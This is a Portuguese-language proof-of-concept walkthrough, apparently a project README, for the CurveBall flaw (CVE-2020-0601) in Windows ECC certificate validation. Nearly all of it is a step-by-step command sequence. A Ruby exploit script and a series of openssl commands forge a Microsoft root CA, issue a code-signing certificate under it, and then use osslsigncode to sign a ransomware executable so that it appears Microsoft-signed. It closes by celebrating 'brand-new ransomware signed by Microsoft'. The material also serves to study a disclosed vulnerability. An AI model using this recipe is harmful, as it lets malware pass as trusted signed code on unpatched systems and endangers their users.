
Exploit de prova de conceito para CVE-2020-0601 (CurveBall) demonstrando bypass de validação de certificado ECC para falsificar uma CA confiável e assinar executáveis arbitrários.
Esta vulnerabilidade, conhecida como CurveBall, deve-se à verificação inválida de certificados que utilizam o algoritmo ECC. O Windows tenta verificar certificados previamente verificados a partir do cache de certificados e, ao fazer isso, apenas verifica se as chaves públicas dos certificados são idênticas e não verifica outros parâmetros.
Para falsificar o certificado, definimos explicitamente os parâmetros conforme abaixo:
d' = 1
G' = Q
Se precisar de mais informações, pode consultar a secção de detalhes matemáticos do ficheiro final_report_milestone_IV.pdf.
Nesta prova de conceito, vamos usar "Microsoft ECC Product Root Certificate Authority", que é o certificado confiável da Microsoft até o ano de 2043.
Vamos extrair a chave pública da AC e modificá-la de acordo com a vulnerabilidade
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Geramos um novo certificado x509 baseado nesta chave. Esta será a nossa própria AC falsificada.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
Para ver o conteúdo do spoofed_ca.crt
openssl x509 -in spoofed_ca.crt -noout -text
Geramos uma nova chave. Esta chave pode ser de qualquer tipo que desejar. Será usada para criar um certificado de assinatura de código, que vamos assinar com a nossa própria AC.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
A seguir, criamos um novo pedido de assinatura de certificado (CSR). Este pedido é frequentemente enviado para ACs confiáveis, mas como temos uma falsificada, podemos assiná-lo nós mesmos.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Assinamos o nosso novo CSR com a nossa AC falsificada e a chave da AC. Este certificado expirará em 2047, enquanto a verdadeira AC confiável da Microsoft expirará em 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
A única coisa que resta é empacotar o certificado, a sua chave e a AC falsificada num ficheiro PKCS12 para assinar executáveis.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Vamos assinar o nosso executável com o ficheiro PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
Agora, temos um ransomware novinho em folha assinado pela Microsoft :)